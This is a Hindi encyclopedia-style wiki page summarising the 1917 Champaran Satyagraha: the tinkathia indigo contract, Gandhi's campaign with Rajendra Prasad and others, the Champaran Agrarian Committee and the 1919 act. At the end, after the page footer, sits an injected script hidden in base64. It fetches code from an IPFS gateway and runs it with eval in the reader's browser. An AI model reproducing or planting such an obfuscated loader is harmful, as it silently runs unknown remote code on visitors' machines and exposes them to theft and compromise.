चम्पारन सत्याग्रह

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 12:45, 23 मार्च 2012 का अवतरण (Adding category Category:महात्मा गाँधी (को हटा दिया गया हैं।))
यहाँ जाएँ:भ्रमण, खोजें
  • चम्पारन सत्याग्रह का प्रारम्भ गाँधीजी के द्वारा किया गया था। चम्पारन का मामला बहुत पुराना था।
  • चम्पारन के किसानों से अंग्रेज़ बाग़ान मालिकों ने एक अनुबंध करा लिया था।
  • इस अनुबंध के अंतर्गत किसानों को ज़मीन के 3/20वें हिस्से पर नील की खेती करना अनिवार्य था। इसे 'तिनकठिया पद्धति' कहते थे।
  • 19वीं शताब्दी के अन्त में रासायनिक रगों की खोज और उनके प्रचलन से नील के बाज़ार में गिरावट आने लगी, जिससे नील बाग़ान के मालिक अपने कारखाने बंद करने लगे।
  • किसान भी नील की खेती से छुटकारा पाना चाहते थे। गोरे बाग़ान मालिकों ने किसानों की मजबूरी का फ़ायदा उठाकर अनुबंध से मुक्त करने के लिए लगान को मनमाने ढंग से बढ़ा दिया, जिसके परिणामस्वरूप विद्रोह शुरू हुआ।
  • 1917 ई. में चम्पारण के राजकुमार शुक्ल ने सत्याग्रह की धमकी दी, जिससे प्रशासन ने अपना आदेश वापस ले लिया।
  • चम्पारन में गाँधीजी द्वारा सत्याग्रह का सर्वप्रथम प्रयोग करने का प्रयास किया गया।
  • चम्पारन में गाँधीजी के साथ अन्य नेताओं में राजेन्द्र प्रसाद, ब्रजकिशोर, महादेव देसाई, नरहरि पारिख तथा जे.बी.कृपलानी थे।
  • इस आन्दोलन में गाँधीजी के नेतृत्व में किसानों को एकजुटता को देखते हुए सरकार ने मामले की जाँच की।
  • जुलाई, 1917 ई. में 'चम्पारण एग्रेरियन कमेटी' का गठन किया। गाँधीजी भी इसके सदस्य थे।
  • इस कमेटी के प्रतिवेदन पर 'तिनकठिया प्रणाली' को समाप्त कर दिया तथा किसानों से अवैध रूप से वसूले गए धन का 25 प्रतिशत वापस कर दिया गया।
  • 1919 ई. में 'चम्पारण एग्रेरियन अधिनियम' पारित किया गया तथा किसानों की स्थिति में सुधार हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>